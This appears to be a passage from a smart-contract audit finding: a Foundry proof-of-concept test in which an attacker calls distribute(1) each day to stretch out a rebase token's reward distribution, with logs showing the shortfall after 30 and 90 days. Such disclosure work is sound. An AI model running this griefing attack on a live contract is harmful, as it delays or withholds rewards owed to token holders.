    uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;
function testProlongDistribution() public {
    token.mint(alice, 10e18);
    token.mint(bobby, 20e18);

    vm.prank(alice);
    token.enterRebase();

    vm.prank(bobby);
    token.enterRebase();

    token.mint(address(this), 41e18);

    // Distribute 40 tokens
    uint256 amountToDistribute = 40e18;
    token.distribute(amountToDistribute);
    
    // Attackers calls distribute(1) each day to only distribute 1 wei of a token
    for(uint256 i = 0; i < 30; i++) {
        vm.warp(block.timestamp + 1 days);
        token.distribute(1);
    }

    uint256 distributedSupply = amountToDistribute - token.pendingDistributedSupply();
    console.log("Distributed supply after 30 days:");
    console.log("----------------------------------------------------");
    console.log("Distributed supply         : ", distributedSupply);
    console.log("Expected distributes supply: ", amountToDistribute);

    for(uint256 i = 0; i < 60; i++) {
        vm.warp(block.timestamp + 1 days);
        token.distribute(1);
    }

    console.log();
    distributedSupply = amountToDistribute - token.pendingDistributedSupply();
    console.log("Distributed supply after 90 days:");
    console.log("----------------------------------------------------");
    console.log("Distributed supply         : ", distributedSupply);
    console.log("Expected distributes supply: ", amountToDistribute);
}
[PASS] testProlongDistribution() (gas: 1233397)
Logs:
  Distributed supply after 30 days:
  ----------------------------------------------------
  Distributed supply         :  25533539461535580376
  Expected distributed supply:  40000000000000000000
  
  Distributed supply after 90 days:
  ----------------------------------------------------
  Distributed supply         :  38107800700086607344
  Expected distributed supply:  40000000000000000000
